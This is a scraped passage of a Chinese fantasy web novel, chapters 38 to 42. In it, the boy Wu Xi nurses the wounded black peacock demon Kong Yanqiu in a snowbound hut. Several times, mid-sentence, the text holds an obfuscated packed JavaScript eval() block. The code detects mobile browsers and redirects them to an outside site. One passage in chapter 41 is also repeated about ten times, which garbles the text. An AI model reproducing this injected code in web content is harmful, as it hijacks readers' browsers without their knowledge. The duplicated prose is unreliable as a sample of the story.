孔宴秋的心头发颤,他分不清这是什么情绪,是害怕,忐忑,怀疑,还是逃避?抑或是深重的渴望,埋藏在一个年轻又苍老的灵魂深处。 底下的凶禽哪见过他这般失魂落魄的模样?一概吓得不敢吱声,生怕这个煞星是魔怔了,搞不好下一秒就要拿火烧死他 们。此时一听见孔宴秋的命令,赶忙像得了免死金牌一样,先慌里慌张地应了一声,接着便不管不顾地挤出宫殿,迫不及待地飞上天空。 成百上千只大妖呼啦啦地散出去,一下就不见了踪影。孔宴秋还坐在原处,呆愣地出神。 与此同时,大荒落雪浩荡,被孔宴秋惦记的那个“神秘人”,正恹恹地瘫在床上。 巫曦两个眼睛哭得跟核桃一样,肿得只剩条缝儿。他抽噎着裹起毯子,把自己缩成一个小球,不肯吃东西,更不愿意出门。 他的同伴被讹兽抓走之后,巫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038202|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曦下定决心,一定要把他带回来。只是荒原广袤,讹兽的速度又快,他又要如何寻找呢? 少年被带走那天,他追出去十余里,就再也看不到讹兽跳跃的印记了。顶着风雪回去之后,巫曦咬着牙,攒着劲,给自己做了一袋干粮。 天刚蒙蒙亮,他便背好干粮包,腰间挂着自己的匕首,再次动身。这一次,巫曦勉强推进了三十余里路,天黑的时候,他就把自己埋在雪地里,听着头顶和周遭不知名妖兽的怪异叫声,等待着熬过一晚,接着再刨开雪坑,继续搜寻。 旷野茫茫,他形单影只的身影,就像一只和父母走散的幼崽,孤独地在苍白辽阔的大地上缓慢挪动。 他找了一次,又找了一次,再找了一次。最远的时候,他走出六十多里,就很难感应到守生的阵法了,巫曦必须回去,再不掉头,恐怕他会彻底迷失在大荒的雪原里。 他不得不意识到一个事实:他把他的朋友弄丢了,并且再也没办法找回来。 巫曦手足无措地站在空旷的小屋里,全身脏乎乎、灰扑扑。他盯着那张同样空旷的木床,全身发抖,嘴唇也在发抖。 他终于再也忍不住,“哇”地大哭起来。 巫曦不是一个爱哭的孩子,很多时候,他乐观得让那些讨厌他的人都感到一种恼火——这个小杂种怎么老是喜滋滋的,受了长留王的斥骂,受了其他宫人的轻视和白眼也不畏缩,不怯懦?他为什么一直在笑?到底有什么好笑,有什么可乐的?! 巫曦不去深究这样恶意的问题,他的生活里总会有十分美好的东西,譬如阿嬷在他被父亲冷待之后送来的热腾腾的宵夜,她温暖厚实的手掌会在深夜抚他入眠;譬如司膳和司珍的宫人们偷偷送给他的那些好吃的,好玩的;譬如昨天天气很好,适合放风筝,而今天下了大雨,就适合去池边选一枚大大的荷叶,顶在头上当伞,让雨珠在上面起伏地蹦蹦跳跳…… 所以哪怕他受人暗算,落魄到这样可怕的 境地,流浪在数万里不见人烟,随处可见食人妖兽的大荒腹地,巫曦也没有怨天尤人,哭天抢地。 他努力地生存,努力地吃饭,他相信,只要能坚持下来,逐渐熟悉这片雪原,自己一定能找到回家的路。 可是那一刻,他被痛苦,绝望,悲伤和愤怒的情绪彻底打倒了。 讹兽极有可能已经吃掉了那只小孔雀……他带着重伤,还在发烧,无力反抗挣扎的朋友。巫曦却不能阻止,他太弱小,在这偌大的荒原,他就像蝼蚁一样无力。 我真是个傻瓜啊,我真是天字第一号的大傻瓜! 巫曦号啕痛哭,哭得喘不过气,一直咳嗽。他不愿吃饭,不愿下床,在过于年轻,过于稚嫩的生命里,他第一次直面生离死别的沉重悲剧,以至于它一下就压垮了他。 暴雪连绵地倾泻,很快,就将小木屋顶起的雪丘彻底覆盖,大地一片光洁,分不清何处是归乡。 ——不仅如此,大雪同时完美地掩藏起了巫曦的全部踪迹,任由飞禽如何在高空不懈地盘旋,也无法找到孔宴秋之前砸落下来的位置。 瞅见业摩宫的爪牙,当日围观的妖族同样作鸟兽散了。它们自然以为,这都是孔宴秋派出报复的前锋,作为曾经试图吃掉黑孔雀的一员,它们躲藏隐蔽还来不及,肯定不会冒然暴露自己那天就在现场的事实。 业摩宫的大妖一无所获,只得战战兢兢,夹着尾巴回到老巢,指望他们最近突然变疯了的主上能多点怜悯,不要一把火烧死办事不力的属下才好。 作者有话要说 孔宴秋:*开朗,活泼,发现自己终于恢复嗅觉,以后可以在身上挂一千八百个香囊,高兴地到处翩翩飞*很好!我的生活从未如此完美! 还是孔宴秋:*想起自己还没有找到那个拯救自己的神秘人,立刻阴沉,开始放火烧人,就像古往今来的所有魔头那样戏剧性*滚开!我不需要你们在这里围观我的生活,我命令你们去找人!滚开! 与此同时,巫曦:*泪流满面,用眼泪淹没床铺,用眼泪把自己泡得漂起来*我再也不会交到比这更好的朋友了,再也不会了!*继续哭泣,用眼泪淹没其他妖兽* 第 39 章 净琉璃之国(七) 巫曦从木床上坐起来,萎靡不振地吃着冷掉的汤羹。 他颓丧了几个星期,孔雀少年的事,就像引发雪崩的最后一片雪花,将他遭难以来强撑的勇气,自我勉励的决心,还有他对未来的美好幻想全盘打崩。 明明身体还好好的,可是巫曦就是觉得自己生病了,这种病连药师国的血裔都无法抵御,他成日里有气无力,提不起精神做事,干活。 原本他还有许多雄心壮志的计划,比如他想尝试鞣制兽皮,好让硬梆梆的木床睡起来更柔软一点,他还想自己琢磨着做一辆木板车,想找到更多的种子和药材…… 他想做这个,想做那个,这会儿都统统弃置不顾。巫曦吃掉盘子里的冷汤,心不在焉地盘算着自己的存粮。 然后他叹口气,疲惫地发现,自己在小冰窖的存货即将告罄,再不爬出去找吃的,他就只剩下饿死在这间凄凉小木屋里的命了。 巫曦只得逼迫自己穿好衣服,穿上鞋子,他弯腰的时候,感觉身体里每一块骨头都在发颤。 推开门,他向上张望,这些天没有活动,攒下的积雪怕是有六七米厚,压得地道都摇摇欲坠。 好冷啊。 巫曦打了个寒噤,用毯子裹住脸,放出灵火来烧通地道,自己也拿铲子挖路,终于清出一个小小的洞。钻上去之后,他先眯起眼睛,适应了一会儿外面的光线,再蹒跚地站起来。 他在空气中嗅来嗅去,最后闻到了三里外的一群五角羊。 经过此番劫难,巫曦倒是大大磨练了自己的脚力,这点距离对他来说再也算不得什么了。他抬头看了看天色,预估一下时间,开始出发。 临到傍晚,巫曦风尘仆仆,拖着四条羊羔的腿,一扇肋排,赶回了他的屋子。 多余的肉他带不走,干脆留在那里,他只拿走自己体能范围内的份额。 深夜,巫曦喝着羊肉汤,热汤下肚,他也恢复了一点精气神。 生活还是要继续,他想,不管怎么说,我总不能放弃自己的路,等到有空了,就试着雕个木头的小孔雀,权当告慰他的在天之灵了…… 越想越心酸,巫曦的眼睛红红的,他赶紧吸吸鼻子,收拾完厨具,用雪水擦手洗脸,冰冰地敷一敷眼睛。 时间一天天过去,他的心情逐渐平复。巫曦重新拾起木工活,努力像要雕出一个孔雀的样子。报废了许多原料之后,他最终完成了一个十分粗糙的作品——圆滚滚的,完全分不出华丽的尾巴在哪里,比起孔雀,更像是一只脖子很长的胖鸡。 不过巫曦倒是很满意他端详着手里的木雕它可是自己第一个完整雕完的成品!以后肯定会越来越好的。 这天夜里他于酣梦中投入地大杀四方一拳一只大讹兽一脚一只小讹兽直把它们揍得求爷爷告奶奶。正在眉头舒展称心如意之际屋外一声惊天巨响将他瞬间从床上轰得蹦起来。 ……怎么回事!出什么事了讹兽大军要毁灭世界了吗?! 巫曦头发蓬乱惊慌失措地睁开眼睛 好在地震的时间并不算久摇动了约莫两刻钟屋外便归于平静。 他胆战心惊地爬起来裹着毯子头发乱炸像一颗刺毛大栗子小心翼翼地推开房门—— “啊!我的地道……!” 巫曦张了张嘴刚要抓狂忽地反应过来。 ——等一下这个场面怎么似曾相识啊? 他的心脏扑通狂跳失神片刻一下跳起来扒开坍塌的雪堆使劲朝外面挣扎出去。巫曦忘了寒冷忘了夜里的危险等他扑腾到雪堆上方放眼一看顿时惊呆了。 黑紫的火焰犹如昨日重现生动活跃地出现在他眼前空中弥漫着如梦似幻的飘渺雾气映照得四周犹如白夜。 他回来了? 巫曦愣愣地望着眼前的景象。 他……他没有死?讹兽没有吃了他他活下来逃出来了? 刹那间狂喜充斥着巫曦的心魂。他拔足狂奔在残雪中跌跌撞撞地前进这一次那个巨大的天坑离他更近。他猛冲下去天坑中间真的躺着一个熟悉的身影!只是对方没有再变成焦炭宽大的羽翼以及孔雀黑紫的翎羽都在风中飘拂。 “你在这儿!”巫曦简直要喜极而泣他一迭声地叫嚷起来不顾他的声音会被多少夜里游荡的危险生物听见“你回来了!” 实际上巫曦所想的“危险生物”早已经来了有一阵了。 还跟前次一样乌压压的妖兽腾云驾雾围在长空之中并且状若痴呆地盯着这一幕。 ……不是这个场面以前是不是发生过一回啊? “啊?这不孔宴秋吗?他前几个月才被金曜宫打下来今儿怎么又来了?” “……不知道啊?” “哎,那不是神人小崽儿吗?怎么又出来把孔宴秋捡走了,话说回来,孔宴秋没杀他?” “……不知道啊?” 它们面面相觑的时候,巫曦已经直扑过去,试图把人抱起来,但对方身上甚是滚烫,他又跑回去,采用老一套办法,往孔雀身上浇雪。 如此循环几个来回,他不管不顾,靠着神人的力气,撑起比自己高壮得多的黑孔雀,艰难地往家里扛。 “呃,所以,我们也是这个仪式的一环吗?” “……不知道啊?” 唉散了散了,大晚上的搞这一出,不知有什么意思! 妖兽们大半夜被震起来,捞不到一点好处不说,还不敢对始作俑者有什么意见,只得愤愤散去,不住在内心唾弃黑孔雀,成天就知道没事找事。 另一头,孔宴秋的神智其实还留有清醒。 为了找出自己前次意识昏沉时究竟在哪里,脑海中的声音又是不是真实的,孔宴秋已经挖空心思。他派遣出本就善于打探消息,聆听情报的小型雀鸟,又放出麾下大妖,命他们日夜在大荒中搜查,自己也使用了调取神思的法术,试图从中找出更有用的线索。 可惜,雀鸟确实方便刺探,那些挥翼百里的大妖也确实方便赶路排查,但大荒实在太过广袤无垠,要在这里找一个身份不明,样貌不清的人,委实比大海捞针还要困难百倍。 至于记忆,那更是不可靠的东西,尤其是发烧时的记忆。 孔宴秋等不及了,等不及的时候,就要采用一些非常规的方法。 于是,他再次按照上次的路线袭上金曜宫。算好角度,算好力道和分寸,就连吃的招数都一模一样——不顾金曜宫孔雀惊诧的表情,孔宴秋再度被五色神光刷下九重云端,向着大地砸落。 这一次,他赌对了。 当那个小神人哇哇大哭着扑在他身上的时候,孔宴秋先闻到的,是挥之不去的清苦陈旧的木头味,而当对方把他扛起来的时候,他的下巴抵在他的头顶,又有一股极其浅淡,温暖的草药香气。 他是药师国人?也许,这就是他可以治好我的原因。 孔宴秋迟疑地想。 且看他准备做什么。 说到底,他并不信任这个看上去人畜无害的小孩儿,从他被丢下金曜宫,不得已在大荒上艰苦求生的那一刻起,孔宴秋便见惯了弱肉强食,祸心险恶的事端。 数不尽的人或妖垂涎他的血肉与能力,其中不乏假仁假义的伪善之辈。他们假借“照料幼雏”的名义出现在他 身边,只等孔宴秋卸下防备,便迫不及待地露出獠牙,准备将他生吞活剥。 自然,同样有数不尽的人或妖死于烈火,临死前发出凄厉的惨叫。 “孔宴秋!你刻薄寡恩,冷血无情,你会遭报应的!阴魔缠身就是你的报应!” 他们的脸孔在火中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038203|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭曲,映在孔宴秋无动于衷的面庞上,像极了狂乱斑驳的影子。 因此,他在观察巫曦的一举一动,他想知道,这个小神人究竟抱着什么样的心态,才会对自己出手相助。 孔宴秋待别人狠,对自己更狠。他挨的打是真的,也是真的从九重云端结结实实地砸到了地上,此刻只能堪堪护持住一点灵智,看巫曦要怎么做。 巫曦吸着鼻子,让他面朝下,翅膀朝上,俯卧在木床上面。 “你怎么又从天上掉下来了?”巫曦擦擦眼泪,破涕为笑,“讹兽呢?没有伤着你吗?” 从这里走大约八百五十里,你应该可以看到它残留的尸骨,孔宴秋心道。 与此同时,他的一点精魄出窍,正浮在半空中观察巫曦。 “那天它把你抢走,我可难受了,”巫曦自言自语地说,他不管孔宴秋能不能回应,或者说认不认识他,很显然,他已经单方面跟孔宴秋很熟了,“我出去找了你好多次,但没办法离开屋子太远……” 他抿着嘴唇,用金火点燃油灯,端着查看孔宴秋的身体状况。 原来是长留国和药师国的混血,孔宴秋若有所思,不知他的父母都去了哪里,看他小小年纪,言辞中难掩天真,身上穿得整齐,怎么会孤身一人跑来这里安置? 还有,原来讹兽就是从他这抢的人,无怪乎它满嘴胡言,口口声声说自己救了我…… “我看看你的翅膀,”巫曦拿过圆凳,把油灯放在上面,“上次伤的是左边,这次换成右边了啊。你不疼的吗?” 孔宴秋五感失衡,对于触觉的感受自然也是失衡的。他体会不到轻轻的瘙痒,拥抱的暖意,温柔的抚摸,而戳刺,割裂与剜剐时的疼痛却鲜明如斯,足以清晰地穿透他的神经。 对于鸟类来说,羽翼和翅膀根部已经是非常敏感的位置了,但这时候,他只能觉察到巫曦在很轻的触碰他的羽毛,除此之外,再也没有其他多余的感受。 他盯着巫曦猛瞧,眼下就是绝佳的下手机会了,这个小神人只消掏出他腰间的匕首,往自己毫无防备的翅膀根上重重一刺,便可干脆利落地除去世上唯一的一只黑孔雀…… 巫曦忧愁地验过伤势,又看到他的尾羽乱糟 糟地缠成一团,遂好心且熟练地伸出手,打算给孔雀整理一下。 “看你的尾巴都揉在一块儿啦,我给你理顺哦。” 说着,他细细的手指已经沿着孔宴秋的尾椎骨,开始轻轻地往下梳。 孔宴秋原本还眯着眼睛,神情颇有几分高深莫测,此刻措手不及,被惊得眼皮一跳,双目都微微睁大了。 什么……? 作者有话要说 【跟大家说一下,这本目前的存稿,我会多存一个星期的量,也就是说,很多情节是早就定好的,基本不会改动。我每天就是循序渐进地发新章——写存稿,很有秩序地过完一天这样。。 所以有些朋友也不用脑补一些没有的情节来自己吓自己,什么误认了狗血了火葬场了……跟我后续的剧情都差得太远。看你们说得信誓旦旦的,我会以为你们是不是见到了平行世界世界的我自己,, 就酱!大家看文图个精神体验,放松点!】 巫曦:*半夜爬起来,试图寻找食物,失败了*天啊,我怎么这么饿! 还是巫曦:*再次听见巨大的撞击声,冲出房门,再次看见熟悉的烤大鸟,试图控制眼泪和口水,失败了*天啊,我的朋友回来了! 孔宴秋:*灵魂出窍,阴沉地跟在后面,阴沉地盯着巫曦,阴沉地揣摩他的意图*哼,我一定会揭露你的真面目,因为世上不可能有人是又可爱又善良的…… 还是孔宴秋:*被摸到尾巴,呛住了*怎么!原来他要破坏我的贞洁!*不知何故,脸红得厉害* 第 40 章 净琉璃之国(八) 鸟的尾巴是不可以乱摸的,雄孔雀的尾巴更是如此——即便是最热烈,最大胆的求偶者,也不会上来就大肆爱抚一只孔雀的尾翎,此乃世间的基础常识。 可惜,巫曦只有十四岁,吃喝玩乐才是他的专项长处,除此之外,他比一张白纸好不到哪去。 孔宴秋还在震惊,巫曦已经非常熟练,并且自然地梳通了他打结的尾羽。他的动作轻柔灵敏,没有拽下一根绒毛,便把孔雀的一大把尾翎打理得光滑柔顺,拢在一边。 然后,巫曦把油灯拿起来,自己坐在床边,笑眯眯地端详着孔宴秋闭目不醒的脸。 “真好,你能平安无事。 说着,他真的用手指撑开眼皮,展示给床上的少年看。孔宴秋神识一扫,瞧得分明,这小神人的眼睛还真的有些消退不去的红肿。 巫曦做完这个动作,自己也意识到犯傻,赶紧把手放下来。 “我真傻,忘了你看不见啦…… 不,我能看见。孔宴秋心道,至于傻么…… 嗯,你是挺傻的,他肯定了巫曦的说法。 ……不过,也不烦人就是了。 巫曦支着下巴,直勾勾地瞧了他一阵,忽然又嘿嘿地笑了起来。 “你真好看啊,他乐滋滋地说,也不知道在乐什么,“要是你醒了,把伤养好,我带你回我家,司膳肯定会很喜欢你的!她就喜欢好看的小孩儿,你长得可比我还漂亮呢!嘿嘿。 巫曦兴致勃勃地说:“到时候,她给你塞什么好吃的好喝的,我俩对半分,然后我再带你去荷花池钓鱼。我跟你说,池子里头有好多四脚水蛇,能吐出好大的虹雾,阳光底下一照,五彩缤纷的。里头还有数不清的各色金鱼,红的,黄的,紫的…… 他说到兴起,拿指头在空气里比划,脸上溢满灿烂的笑容,但孔宴秋注视着他,已经怔住了。 哪有孔雀不爱美? 争奇斗艳,展示绚烂的冠羽,炫耀华美的身姿,将趾爪打理得锐利润泽,行走时摇曳辉煌的饰羽,让泪滴形的尾斑折射光线,好显得流光溢彩,熠熠生辉……无论有没有失去五感,这都是雄孔雀的天性,是他们与生俱来的本能。 孔宴秋从未被人夸赞过容貌。 “黑孔雀? “居然是黑紫色的孔雀,实属异样! “通体紫黑,真是邪性,也难怪金曜宫不肯收他…… “哈哈!以前就见过兽群会抛弃白化的崽子,因为它们太过显眼,实在很难在凶险的野外生存下去,没想到,连金曜宫的孔雀也不能免俗。 “……怪物。 “孽畜。 “妖魔! “——啊啊啊啊!求您饶恕我!我不是有意冒犯,不敢了,再也不敢了!! 无数人的低语,汇聚成阴燃的烈火,点燃他的身与心。 从出生起就被抛弃的可怜虫,混迹在大荒求生的畸胎,罕有的黑孔雀,动辄纵火杀生的妖物,麻木不仁的异种,暴虐的主君……或忌惮的窃窃私语,或激动的咆哮叫骂,一切的一切,汇聚成了孔宴秋,汇聚出了这么一个东西。 “你真漂亮呀! 这一刻,木屋狭小简陋,油灯照着昏黄的光晕,小小的神人趴在床边,带着无忧无虑的笑容,闪闪发亮的眼睛,将对他的赞美脱口而出,不虚伪,亦无矫饰。 孔宴秋迷惘地盯着他,嘴唇微动,却不知道该说什么。 我的心跳得好快,他按住透明的胸口,我病了吗? 底下的巫曦说高兴了,也说累了,他喝一口碗里的雪水,也拿筷子蘸着,润湿孔宴秋的嘴唇。 “……总之,你没事就好啦。他轻快地道,“我这次一定好好看着你,不让你再被别的妖兽抓走,嗯! 夜深了,巫曦快活地吹灭油灯。只有一张床,所以他熟门熟路地揭开孔宴秋摊开的翅膀,往底下的空隙里一钻。 “晚安。他心满意足地说,“我们明早见。 孔宴秋沉默着,他盯着巫曦,想到自己上次火毒不退,发起高烧的时候,同样有一点沁凉的事物,不停擦过自己的额头、脸庞、胸口。 也是你吗?那样细心的照拂,也是你为我做的吗? 他能感觉到自己的翅膀下面多了一小团东西,呼吸起伏,心跳平稳,恬然地安睡着。 这年幼的神人不知道自己倚靠着谁,也不知道孔宴秋的身份和根脚。在他心里,孔宴秋只是一个失而复得,连名字也不知道的朋友,他们在浩大的雪原上萍水相逢,从此就牵起了一道缘分的细线。 这是他从未经历过的善意和温柔,孔宴秋觉得浑身不自在……实际上,他也不知道什么是“不自在,他只知道,自己此刻实在坐立难安。 他很想跳出这间木屋,不要再跟小神人共处一室,可他越是这么想,浑身的筋骨就越是酥软,提不起走的力气 。 就在他恍惚失神的时候天已经亮了。 巫曦埋在浓密又厚实的羽毛下面全身熏得暖融融的舒服极了。 他拉长身体伸了个大懒腰发出一阵拖长的怪叫随即又想起身边有人急忙不好意思地一笑。 “起床!”他活力四射地蹦下床先小心地抬起孔雀的脸看看上面有没有被压出红印。 “嘿嘿没有。”巫曦对自己汇报道“今天可以出去寻宝了!” 昨天晚上闹出那么大的动静周围的雪肯定化了差不多了。一想到朋友又回到了自己身边他还能去地上捡些难得的好东西 孔宴秋眼看着他穿好衣服腰间挂着匕首和粗糙的布袋很快就要整装待发想了下还是跟在后面。 他倒不是担心这个古怪的小神人会遇到什么麻烦其实他只是有点想看看他说的“寻宝”是什么。 外头残余的五蕴阴火还在燃烧孔宴秋花了三秒钟思考要不要把它们从神人的必经之路上撤走就见对方一边哼着歌儿一边驾轻就熟地跨越跳跃颤动的火炎就好像……就好像他跨的不是使大荒众生闻风丧胆的毒火而是一丛不能吃的蘑菇。 孔宴秋:“?” 巫曦:“日出而作日入而息。凿井而饮耕田而食。帝力于我何有哉——” 他唱起抑扬顿挫曲调悠久的歌谣行走在雪化之后的泥泞荒原上时不时举起鼻子嗅闻然后调整赶路的方向。偶尔他也会被路上飞舞的鸟雀吸引注意力傻笑着和它们追逐一阵然后再慢慢返回原路。 孔宴秋精魄出窍就牢牢地缀在他身后他看得越多就越是困惑。 他从没见过这样的人这样的生灵。 究竟有什么好开心的呢?好像他的生命里不存在忧伤也不存在怨恨他是他遇到过的最容易被小事逗乐的神人。 “啊找到了!”巫曦惊喜地道他噔噔噔地跑过去在凸起的山岩后面他用手抹开地上一堆稍稍鼓起的泥窝青白二色交杂的鸟蛋顿时暴露出来个个饱满光滑大如鸡子。 “对不起啦”他边挖边说“人不吃饭就得饿肚子而且现在家里还多了一张嘴巴。托福托福我会记得你们的恩德的。” 多了一张嘴巴……是指我吗?我也要吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038204|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个蛋吗? 孔宴秋有点摸不着头脑。 这窝霜翰鸟蛋共有七个巫曦数出四个装进自己的布袋里接着再去找下一窝。一趟 逛下来,他掏了十五枚鸟蛋,自觉收获颇丰,便改换方向,沿路顺手折断一些枯枝,捆成一束扛在肩上。 回到木屋,巫曦先挖开后头的冰窖,把鸟蛋小心地放进去。接着再径直跑到另一头的山坳里采摘一些秦椒,打算回来炖汤。 “上回你发烧了,不能吃辣的,这回我们就可以稍稍用点调味料啦。”他架锅烧水,打蛋搅拌,用刀削出薯蓣块,“希望你吃了能快点好起来。” 很快,薯蓣蛋汤就在陶罐里咕噜噜地滚起来了,孔宴秋深吸一口气,闻见狭小的木屋充满了温和醇厚的香气。巫曦再往里头洒几粒秦椒提味,不多会儿,他便盛出一碗热腾腾的汤羹,用勺子搅拌着。 巫曦把孔宴秋的身体扶起来,小心地不碰到受伤的翅膀,“来,给你吹吹,小心烫。” 孔宴秋哑口无言地望着他,眼睁睁地看小神人吹凉了一勺汤羹,喂到自己嘴边。 打心眼里,他唾弃如此无能为力,任人摆布的自己,可是投射到行动上,他却下意识地张嘴,自己的肉身也受了精魄的牵引,张嘴咽下了香滑的蛋汤。 他仍然没有尝出任何味道,却能清晰地感知出,一股温暖的热流正顺着喉咙流淌。倏然间,仿佛漩涡卷水,他飘浮在外的一点灵魄猛然受到某种不可抵御的吸引力,一头扎入肉身之中—— 孔宴秋眼前一黑,来不及做出反应,便昏昏沉沉地跌进痛觉的深渊。迷蒙混沌的时刻,他听见小神人的惊呼:“你醒了!你感觉怎么样?” 我醒了……? 孔宴秋勉力睁开眼睛,身上的剧烈的疼痛还没有缓解,他毕竟是从高天之上直接砸进地面的。在他模糊的视线里,孔宴秋看不清巫曦的脸,他那由一团乱线组成的脸,但他看得出小神人略带忐忑的表情。 他救了他两次,又自顾自地把他当成一个熟人,可他们的确是完全不认识的。 “你……” 他开口,嗓音沙哑。 巫曦赶忙端过碗,再给他喂一勺汤。 “不要急,慢慢说。” “你的汤……” 孔宴秋咳嗽几声,他想问你的汤是怎么回事,却被巫曦曲解了意思。 巫曦抱着碗,瞅准时机,十分迅速地往他嘴里填了两勺。 “嗯嗯?我的汤?” 孔宴秋只得先咽下去,再开口跟他说话:“我的意思是,喝了你的汤以后……” 话到嘴边,突然卡壳。 他要怎么说?为什么你做的汤有如此神奇的功效,可以强行拽回我的灵魄?为什么我身受重伤,但是喝了你的汤就立刻醒了? 现在想想,自己上次反噬自身的火毒,也绝非昏睡数日就可以解除,但在被讹兽抓在手里的时候,他的神志就已经恢复大半。还有最重要的,他突然恢复的嗅觉…… 千言万语,一时拥堵心头,不知从何说起。结果巫曦依然误解了孔宴秋的话,勺子已然顺滑地往他嘴里一填。 “嗯嗯,喝了我的汤以后?” 孔宴秋:“…………” 孔宴秋有点自暴自弃,他把脸偏到一边,低声道:“我不说了,你先喂我喝完罢。” 作者有话要说 【哦呵呵呵…相信大家都看出来了,虽然在外头威风八面,但在他俩相处的时候,大孔雀才是被欺负的那一方呀,,,】 第 41 章 净琉璃之国(九) 巫曦笑嘻嘻的,喂他喝完汤,连碗里的薯蓣块也一起喂给他。放下空碗,巫曦问:“怎么样,好吃吗?” 孔宴秋顿了一下,看见小神人期待的目光。 他不想辜负这份期待,然而事实如此,他只能叫对方失望。 巫曦笑嘻嘻的,喂他喝完汤,连碗里的薯蓣块也一起喂给他。放下空碗,巫曦问:“怎么样,好吃吗?” 孔宴秋顿了一下,看见小神人期待的目光。 他不想辜负这份期待,然而事实如此,他只能叫对方失望。 巫曦笑嘻嘻的,喂他喝完汤,连碗里的薯蓣块也一起喂给他。放下空碗,巫曦问:“怎么样,好吃吗?” 孔宴秋顿了一下,看见小神人期待的目光。 他不想辜负这份期待,然而事实如此,他只能叫对方失望。 巫曦笑嘻嘻的,喂他喝完汤,连碗里的薯蓣块也一起喂给他。放下空碗,巫曦问:“怎么样,好吃吗?” 孔宴秋顿了一下,看见小神人期待的目光。 他不想辜负这份期待,然而事实如此,他只能叫对方失望。 巫曦笑嘻嘻的,喂他喝完汤,连碗里的薯蓣块也一起喂给他。放下空碗,巫曦问:“怎么样,好吃吗?” 孔宴秋顿了一下,看见小神人期待的目光。 他不想辜负这份期待,然而事实如此,他只能叫对方失望。 巫曦笑嘻嘻的,喂他喝完汤,连碗里的薯蓣块也一起喂给他。放下空碗,巫曦问:“怎么样,好吃吗?” 孔宴秋顿了一下,看见小神人期待的目光。 他不想辜负这份期待,然而事实如此,他只能叫对方失望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038205|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巫曦笑嘻嘻的,喂他喝完汤,连碗里的薯蓣块也一起喂给他。放下空碗,巫曦问:“怎么样,好吃吗?” 孔宴秋顿了一下,看见小神人期待的目光。 他不想辜负这份期待,然而事实如此,他只能叫对方失望。 巫曦笑嘻嘻的,喂他喝完汤,连碗里的薯蓣块也一起喂给他。放下空碗,巫曦问:“怎么样,好吃吗?” 孔宴秋顿了一下,看见小神人期待的目光。 他不想辜负这份期待,然而事实如此,他只能叫对方失望。 巫曦笑嘻嘻的,喂他喝完汤,连碗里的薯蓣块也一起喂给他。放下空碗,巫曦问:“怎么样,好吃吗?” 孔宴秋顿了一下,看见小神人期待的目光。 他不想辜负这份期待,然而事实如此,他只能叫对方失望。 第 42 章 净琉璃之国(十) 修养五日,他们从木屋出发。 临行前,巫曦担心地问:“你的翅膀还好吗,会不会疼?” 孔宴秋看了他一眼,一声不吭地将手伸到背后抓住右翼,只听炸耳的“咔吧”两声,断骨已经被他强行拼起,他若无其事地放下手,对巫曦道:“已经好了。” “哎……!”巫曦阻拦不及,急忙扑上去,心疼地摸着他的翅膀,“你不疼啊!就这么硬掰……以后落下病根可怎么好?” “不会,”孔宴秋说,神情隐隐带着一丝无辜,“我是孔雀。” “你真是……”巫曦恨铁不成钢地跺脚,“这跟孔雀有什么关系?不管你是不是孔雀,你都在伤害自己,这是不对的!下次不许再这么做了。” 说着,他踮起脚尖,凑到翅膀跟前怜惜地吹吹,仿佛这样,就能让强行接骨的痛意消散。 孔宴秋看着他,眨眨眼睛。 居然有人会关心他的伤势,劝谏他不要伤害自己,并且对此表现出不开心的负面情绪,为什么会这样?过去他受伤的时候,总会有很多开心的活物,明里暗里地庆贺他的惨状,但是在巫曦这里,他得到了特殊的待遇。 ……这种感觉很不错,孔宴秋在心里点头。 下次再试试。 “你想到天上看看吗?”孔宴秋问,以此转移巫曦的注意力。“我带你去。” 果然,巫曦抬起头,脸上也不是闷闷生气的样子了:“可你刚刚接好骨头……” “飞不了太高太远,”孔宴秋回答,“飞得低一些,时间短一点,完全没问题。” 他见巫曦还是犹豫,便突然伸长手臂,将他拦腰一夹,展开双翼的风雷云纹,平地里狂风席卷,呼啸着飞上天空。 